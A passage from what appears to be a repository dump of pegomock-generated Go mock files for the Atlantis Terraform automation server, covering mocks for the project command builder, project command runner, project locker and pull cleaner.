len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildPlanCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildPlanCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildPlanCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildStateRmCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildStateRmCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildStateRmCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandBuilder) BuildVersionCommands(ctx *command.Context, comment *events.CommentCommand) *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification {\n\t_params := []pegomock.Param{ctx, comment}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildVersionCommands\", _params, verifier.timeout)\n\treturn &MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification struct {\n\tmock              *MockProjectCommandBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetCapturedArguments() (*command.Context, *events.CommentCommand) {\n\tctx, comment := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], comment[len(comment)-1]\n}\n\nfunc (c *MockProjectCommandBuilder_BuildVersionCommands_OngoingVerification) GetAllCapturedArguments() (_param0 []*command.Context, _param1 []*events.CommentCommand) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]*command.Context, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(*command.Context)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]*events.CommentCommand, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(*events.CommentCommand)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_project_command_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectCommandRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectCommandRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectCommandRunner(options ...pegomock.Option) *MockProjectCommandRunner {\n\tmock := &MockProjectCommandRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectCommandRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectCommandRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Apply\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"ApprovePolicies\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Import\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Plan\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"PolicyCheck\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"StateRm\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectCommandOutput {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectCommandRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Version\", _params, []reflect.Type{reflect.TypeOf((*command.ProjectCommandOutput)(nil)).Elem()})\n\tvar _ret0 command.ProjectCommandOutput\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(command.ProjectCommandOutput)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockProjectCommandRunner) VerifyWasCalledOnce() *VerifierMockProjectCommandRunner {\n\treturn &VerifierMockProjectCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectCommandRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectCommandRunner {\n\treturn &VerifierMockProjectCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectCommandRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectCommandRunner {\n\treturn &VerifierMockProjectCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectCommandRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectCommandRunner {\n\treturn &VerifierMockProjectCommandRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectCommandRunner struct {\n\tmock                   *MockProjectCommandRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) Apply(ctx command.ProjectContext) *MockProjectCommandRunner_Apply_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Apply\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_Apply_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_Apply_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_Apply_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_Apply_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) *MockProjectCommandRunner_ApprovePolicies_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"ApprovePolicies\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_ApprovePolicies_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_ApprovePolicies_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_ApprovePolicies_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) Import(ctx command.ProjectContext) *MockProjectCommandRunner_Import_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Import\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_Import_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_Import_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_Import_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_Import_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) Plan(ctx command.ProjectContext) *MockProjectCommandRunner_Plan_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Plan\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_Plan_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_Plan_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_Plan_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_Plan_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) *MockProjectCommandRunner_PolicyCheck_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"PolicyCheck\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_PolicyCheck_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_PolicyCheck_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_PolicyCheck_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) StateRm(ctx command.ProjectContext) *MockProjectCommandRunner_StateRm_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"StateRm\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_StateRm_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_StateRm_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_StateRm_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockProjectCommandRunner) Version(ctx command.ProjectContext) *MockProjectCommandRunner_Version_OngoingVerification {\n\t_params := []pegomock.Param{ctx}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Version\", _params, verifier.timeout)\n\treturn &MockProjectCommandRunner_Version_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectCommandRunner_Version_OngoingVerification struct {\n\tmock              *MockProjectCommandRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectCommandRunner_Version_OngoingVerification) GetCapturedArguments() command.ProjectContext {\n\tctx := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1]\n}\n\nfunc (c *MockProjectCommandRunner_Version_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_project_lock.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: ProjectLocker)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockProjectLocker struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockProjectLocker(options ...pegomock.Option) *MockProjectLocker {\n\tmock := &MockProjectLocker{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockProjectLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockProjectLocker) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) (*events.TryLockResponse, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockProjectLocker().\")\n\t}\n\t_params := []pegomock.Param{log, pull, user, workspace, project, repoLocking}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"TryLock\", _params, []reflect.Type{reflect.TypeOf((**events.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 *events.TryLockResponse\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(*events.TryLockResponse)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockProjectLocker) VerifyWasCalledOnce() *VerifierMockProjectLocker {\n\treturn &VerifierMockProjectLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockProjectLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockProjectLocker {\n\treturn &VerifierMockProjectLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockProjectLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockProjectLocker {\n\treturn &VerifierMockProjectLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockProjectLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockProjectLocker {\n\treturn &VerifierMockProjectLocker{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockProjectLocker struct {\n\tmock                   *MockProjectLocker\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockProjectLocker) TryLock(log logging.SimpleLogging, pull models.PullRequest, user models.User, workspace string, project models.Project, repoLocking bool) *MockProjectLocker_TryLock_OngoingVerification {\n\t_params := []pegomock.Param{log, pull, user, workspace, project, repoLocking}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"TryLock\", _params, verifier.timeout)\n\treturn &MockProjectLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockProjectLocker_TryLock_OngoingVerification struct {\n\tmock              *MockProjectLocker\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockProjectLocker_TryLock_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.User, string, models.Project, bool) {\n\tlog, pull, user, workspace, project, repoLocking := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], pull[len(pull)-1], user[len(user)-1], workspace[len(workspace)-1], project[len(project)-1], repoLocking[len(repoLocking)-1]\n}\n\nfunc (c *MockProjectLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.User, _param3 []string, _param4 []models.Project, _param5 []bool) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.User, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.User)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]models.Project, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(models.Project)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_pull_cleaner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: PullCleaner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPullCleaner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPullCleaner(options ...pegomock.Option) *MockPullCleaner {\n\tmock := &MockPullCleaner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPullCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPullCleaner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPullCleaner().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"CleanUpPull\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockPullCleaner) VerifyWasCalledOnce() *VerifierMockPullCleaner {\n\treturn &VerifierMockPullCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPullCleaner) 